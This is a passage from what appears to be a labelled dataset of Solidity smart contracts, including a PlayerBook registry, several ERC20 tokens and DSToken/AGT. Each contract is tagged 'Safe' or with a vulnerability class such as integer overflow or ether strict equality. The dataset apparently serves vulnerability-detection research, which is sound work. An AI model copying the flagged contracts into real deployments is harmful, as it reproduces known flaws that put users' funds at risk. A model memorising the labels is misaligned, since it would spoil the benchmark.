registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, ""derp, that games already been registered""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) onlyDevs() public { registrationFee_ = _fee; } } /** * @title -Name Filter- v0.1.9 */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/ether strict equality (SE),3,3 0x042c83572d9b3ddac2c368018e296e5af0ceecdc_InsuranceDynamicDevelopment.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract InsuranceDynamicDevelopment { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = 500000000000000000000000000; // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = ""InsuranceDynamicDevelopment""; // Set the name for display purposes symbol = ""IDD""; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }",Safe,8,8 0x0022ee765799c1f836a36612b8c62be098fd0bbb_SOCGEN_301201.sol,"pragma solidity ^0.4.21 ; contract SOCGEN_301201 { mapping (address => uint256) public balanceOf; string public name = "" SOCGEN_301201 "" ; string public symbol = "" SOCGI "" ; uint8 public decimals = 18 ; uint256 public totalSupply = 10780817168445100000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }",Safe,8,8 0x045ACbdc5fb02df48D1D5C62a90FfE1784B0Cfe8_MessagingContract.sol,"pragma solidity ^0.4.20; contract MessagingContract { struct Message { string data; string senderName; } struct Feed { Message[] messages; string name; } event FeedCreated(uint256 feedId,string feedName); event MessageSent(uint256 feedId, uint256 msgId,string msg,string sender); Feed[] feeds; /// Create a new ballot with $(_numProposals) different proposals. function MessagingContract(string firstFeedName) public { newFeed(firstFeedName); } function newFeed(string name) public returns (uint256){ feeds[feeds.length++].name=name; FeedCreated(feeds.length-1,name); return feeds.length-1; } function feedMessage(uint256 feedId,string data,string alias) public{ feeds[feedId].messages[feeds[feedId].messages.length++]=Message(data,alias); MessageSent(feedId,feeds[feedId].messages.length-1,data,alias); } }",Safe,8,8 1932.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Bitcrore is Ownable{ using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 8; uint256 public totalSupply; uint256 public releaseTime; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); event Approval(address indexed owner, address indexed spender, uint256 value); constructor (uint256 initialSupply,string tokenName,string tokenSymbol,uint256 setreleasetime) public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; releaseTime = setreleasetime; } function releaseTime(uint256 newreleaseTime) onlyOwner public { releaseTime = newreleaseTime; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { require(now >= releaseTime); require(!frozenAccount[_to]); _transfer(msg.sender, _to, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowance[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(now >= releaseTime); require(!frozenAccount[_from]); require(!frozenAccount[_to]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function distributeToken(address[] addresses, uint256[] _value) public onlyOwner returns (bool success){ assert (addresses.length == _value.length); for (uint i = 0; i < addresses.length; i++) { _transfer(msg.sender, addresses[i], _value[i]); } return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply =totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, 0x0 , _value); return true; } function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[_from] >= _value); require(!frozenAccount[_from]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = balanceOf[_from].sub(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); emit Transfer(msg.sender, 0x0 , _value); return true; } function freezeAccount(address target, bool freeze) public onlyOwner { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function approve(address _spender, uint256 _value) public returns (bool) { require(!frozenAccount[_spender]); require(!frozenAccount[msg.sender]); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue) public returns (bool) { require(!frozenAccount[_spender]); require(!frozenAccount[msg.sender]); allowance[msg.sender][_spender] = ( allowance[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { require(!frozenAccount[_spender]); require(!frozenAccount[msg.sender]); uint256 oldValue = allowance[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } }",./Dataset/integer overflow (OF)/,4,4 281.sol,"pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier inNormalState { assert(!halted); _; } modifier inEmergencyState { assert(halted); _; } function halt() external onlyOwner inNormalState { halted = true; } function resume() external onlyOwner inEmergencyState { halted = false; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) public allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { uint256 _allowance; _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Burnable is StandardToken { using SafeMath for uint; event Burn(address indexed from, uint256 value); function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); totalSupply = totalSupply.sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Burn(_from, _value); return true; } function transfer(address _to, uint _value) public returns (bool success) { require(_to != 0x0); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_to != 0x0); return super.transferFrom(_from, _to, _value); } } contract Centive is Burnable, Ownable { string public name; string public symbol; uint8 public decimals = 18; address public releaseAgent; bool public released = false; mapping(address => bool) public transferAgents; modifier canTransfer(address _sender) { require(transferAgents[_sender] || released); _; } modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function setReleaseAgent(address addr) external onlyOwner inReleaseState(false) { releaseAgent = addr; } function release() external onlyReleaseAgent inReleaseState(false) { released = true; } function setTransferAgent(address addr, bool state) external onlyOwner inReleaseState(false) { transferAgents[addr] = state; } function transfer(address _to, uint _value) public canTransfer(msg.sender) returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public canTransfer(_from) returns (bool success) { return super.transferFrom(_from, _to, _value); } function burn(uint256 _value) public onlyOwner returns (bool success) { return super.burn(_value); } function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { return super.burnFrom(_from, _value); } }",./Dataset/integer overflow (OF)/,4,4 33493.sol,"pragma solidity ^0.4.13; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf( address who ) public view returns (uint value); function allowance( address owner, address spender ) public view returns (uint _allowance); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called ""exponentiation by squaring"" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint supply) public { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { if (src != msg.sender) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint wad) public returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } contract DSToken is DSTokenBase(0), DSStop { mapping (address => mapping (address => bool)) _trusted; bytes32 public symbol; uint256 public decimals = 18; // standard token precision. override to customize function DSToken(bytes32 symbol_) public { symbol = symbol_; } event Trust(address indexed src, address indexed guy, bool wat); event Mint(address indexed guy, uint wad); event Burn(address indexed guy, uint wad); function trusted(address src, address guy) public view returns (bool) { return _trusted[src][guy]; } function trust(address guy, bool wat) public stoppable { _trusted[msg.sender][guy] = wat; Trust(msg.sender, guy, wat); } function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { if (src != msg.sender && !_trusted[src][msg.sender]) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function push(address dst, uint wad) public { transferFrom(msg.sender, dst, wad); } function pull(address src, uint wad) public { transferFrom(src, msg.sender, wad); } function move(address src, address dst, uint wad) public { transferFrom(src, dst, wad); } function mint(uint wad) public { mint(msg.sender, wad); } function burn(uint wad) public { burn(msg.sender, wad); } function mint(address guy, uint wad) public auth stoppable { _balances[guy] = add(_balances[guy], wad); _supply = add(_supply, wad); Mint(guy, wad); } function burn(address guy, uint wad) public auth stoppable { if (guy != msg.sender && !_trusted[guy][msg.sender]) { _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad); } _balances[guy] = sub(_balances[guy], wad); _supply = sub(_supply, wad); Burn(guy, wad); } // Optional token name bytes32 public name = """"; function setName(bytes32 name_) public auth { name = name_; } } /// @title ERC223ReceivingContract - Standard contract implementation for compatibility with ERC223 tokens. contract ERC223ReceivingContract { /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. /// @param _data Data containig a function signature and/or parameters function tokenFallback(address _from, uint256 _value, bytes _data) public; /// @dev For ERC20 backward compatibility, same with above tokenFallback but without data. /// The function execution could fail, but do not influence the token transfer. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. // function tokenFallback(address _from, uint256 _value) public; } /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) payable public returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { if (msg.sender != controller) throw; _; } address public controller; function Controlled() { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data); } contract ERC223 { function transfer(address to, uint amount, bytes data) public returns (bool ok); function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok); function transfer(address to, uint amount, bytes data, string custom_fallback) public returns (bool ok); function transferFrom(address from, address to, uint256 amount, bytes data, string custom_fallback) public returns (bool ok); event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data); event ReceivingContractTokenFallbackFailed(address indexed from, address indexed to, uint amount); } contract AGT is DSToken(""AGT""), ERC223, Controlled { function AGT() { setName(""Genesis Token of ATNIO""); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } success = super.transferFrom(_from, _to, _amount); if (success && isContract(_to)) { // ERC20 backward compatiability if(!_to.call(bytes4(keccak256(""tokenFallback(address,uint256)"")), _from, _amount)) { // do nothing when error in call in case that the _to contract is not inherited from ERC223ReceivingContract // revert(); // bytes memory empty; ReceivingContractTokenFallbackFailed(_from, _to, _amount); // Even the fallback failed if there is such one, the transfer will not be revert since ""revert()"" is not called. } } } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. */ function transferFrom(address _from, address _to, uint256 _amount, bytes _data) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } require(super.transferFrom(_from, _to, _amount)); if (isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(_from, _amount, _data); } ERC223Transfer(_from, _to, _amount, _data); return true; } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. * https://github.com/ethereum/EIPs/issues/223 * function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); */ /// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger /// tokenFallback if sender is a contract. /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _to Address of token receiver. /// @param _amount Number of tokens to transfer. /// @param _data Data to be sent to tokenFallback /// @return Returns success of function call. function transfer( address _to, uint256 _amount, bytes _data) public returns (bool success) { return transferFrom(msg.sender, _to, _amount, _data); } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. */ function transferFrom(address _from, address _to, uint256 